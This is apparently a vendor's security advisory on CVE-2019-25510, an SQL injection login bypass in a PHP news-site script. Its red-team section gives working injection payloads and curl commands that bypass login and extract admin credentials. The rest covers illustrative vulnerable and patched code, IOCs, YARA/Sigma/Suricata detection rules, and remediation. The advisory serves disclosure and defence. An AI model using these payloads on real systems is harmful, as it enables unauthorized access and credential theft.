CVE-2019-25510

Executive Summary

CVE-2019-25510 is a critical authentication bypass vulnerability in the Jettweb PHP Hazir Haber Sitesi Scripti V2, a content management system for news websites. The flaw resides in the admingiris.php login page, where improper validation of SQL queries allows unauthenticated attackers to inject malicious SQL payloads into the username and password fields. Successful exploitation bypasses authentication entirely, granting full administrative access to the application backend. This can lead to complete compromise of the web server, data exfiltration, and potential lateral movement within the network. The vulnerability has a CVSS score of 9.8 (Critical) due to its network-based, low-complexity attack vector requiring no privileges or user interaction. No official patch has been released, and the vendor appears unresponsive, making this a high-priority risk for any organization using this software.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby) and is a standalone PHP application. However, organizations should treat this as a supply chain risk if the software is bundled or distributed through third-party repositories.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Exploit does not affect other components.
• Confidentiality Impact: High (C:H) – Full database and file access.
• Integrity Impact: High (I:H) – Ability to modify site content and settings.
• Availability Impact: High (A:H) – Potential to disrupt service.

Threat Level: Critical. The vulnerability is trivial to exploit with publicly available techniques, and no patch exists.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the authentication logic of admingiris.php. The application likely constructs SQL queries by directly concatenating user-supplied input without sanitization or parameterized queries. For example, the login check might resemble:

$query = "SELECT * FROM admin WHERE username = '$username' AND password = '$password'";

An attacker can bypass this by entering a crafted payload such as:

• Username: ' OR '1'='1
• Password: ' OR '1'='1

This transforms the query into:

SELECT * FROM admin WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'

Since '1'='1' is always true, the query returns a valid admin row, granting access. More sophisticated payloads can be used to enumerate the database, extract hashed passwords, or execute arbitrary SQL commands.

The vulnerability is unauthenticated and requires no special tools beyond a web browser or a simple HTTP client like curl.

Vulnerable vs. Patched Code

Vulnerable Code (admingiris.php):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM admin WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // Grant admin access
    session_start();
    $_SESSION['admin'] = true;
    header('Location: admin_panel.php');
} else {
    echo "Invalid credentials.";
}
?>

Patched Code (Recommended):

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM admin WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
    session_start();
    $_SESSION['admin'] = true;
    header('Location: admin_panel.php');
} else {
    echo "Invalid credentials.";
}
?>

The patched version uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Jettweb PHP Hazir Haber Sitesi Scripti V2 on a local server (e.g., XAMPP, LAMP).
2. Ensure the admingiris.php page is accessible.

Exploitation Steps:

1. Basic Authentication Bypass:

   curl -X POST http://target.com/admingiris.php \
     -d "username=' OR '1'='1&password=' OR '1'='1"
   

   This returns a session cookie granting admin access.

2. Database Enumeration (if error-based injection is possible):

   curl -X POST http://target.com/admingiris.php \
     -d "username=' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -&password=anything"
   

3. Extract Admin Credentials:

   curl -X POST http://target.com/admingiris.php \
     -d "username=' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM admin-- -&password=anything"
   

Note: The exact number of columns may vary; adjust the UNION SELECT accordingly.

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to admingiris.php for unusual patterns in the username and password parameters (e.g., single quotes, SQL keywords like OR, UNION, SELECT).
2. Enable detailed logging of all authentication attempts, including raw input.
3. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
4. Conduct regular vulnerability scans to identify the presence of this script.

Honeypot Strategy:

• Create a fake admingiris.php that logs all input and alerts on suspicious payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /admingiris.php with parameters containing SQL keywords (OR, UNION, SELECT, --, #).
  • Unusual session cookies being set without prior valid authentication.
  • Outbound database queries from the web server to unknown IPs (data exfiltration).

• File IOCs:

  • Presence of admingiris.php on the server.
  • Modified or new files in the web root (e.g., webshells like cmd.php).
  • Unusual entries in web server access logs (e.g., 200 responses to admingiris.php with long query strings).

• Behavioral IOCs:

  • Multiple failed login attempts followed by a successful login from the same IP.
  • Administrative actions (e.g., user creation, file uploads) from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2019_25510_Jettweb_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Jettweb PHP Hazir Haber Sitesi Scripti V2"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25510"
    strings:
        $s1 = "admingiris.php" nocase
        $s2 = "username=" nocase
        $s3 = "password=" nocase
        $sqli1 = /' OR '1'='1/
        $sqli2 = /' UNION SELECT/
        $sqli3 = /-- -/
    condition:
        all of ($s1, $s2, $s3) and any of ($sqli1, $sqli2, $sqli3)
}

Sigma Rule

title: CVE-2019-25510 SQL Injection Attempt on Jettweb Admin Login
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection payloads in HTTP POST requests to admingiris.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/admingiris.php'
    keywords:
        - ' OR '
        - ' UNION '
        - '--'
        - '#'
        - '1=1'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2019-25510 - Jettweb SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admingiris.php"; http_uri;
    content:"username="; http_client_body;
    content:"password="; http_client_body;
    pcre:"/(?:' OR '1'='1|' UNION SELECT|-- -)/Pi";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the vulnerable server offline or restrict network access to trusted IPs only.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting admingiris.php.
3. Implement input validation: Add server-side sanitization (e.g., mysqli_real_escape_string) as a temporary fix, though prepared statements are strongly recommended.

Long-Term Fix:

• Rewrite the authentication logic using prepared statements or stored procedures.
• Replace the entire application with a modern, maintained CMS (e.g., WordPress, Joomla) if the vendor remains unresponsive.
• Conduct a full security audit of the application for other vulnerabilities.

Compromise Assessment:

• Check web server logs for successful logins from unknown IPs.
• Scan for webshells or unauthorized files in the web root.
• Review database for unauthorized changes (e.g., new admin users).

Valters IT
Securing Digital Frontiers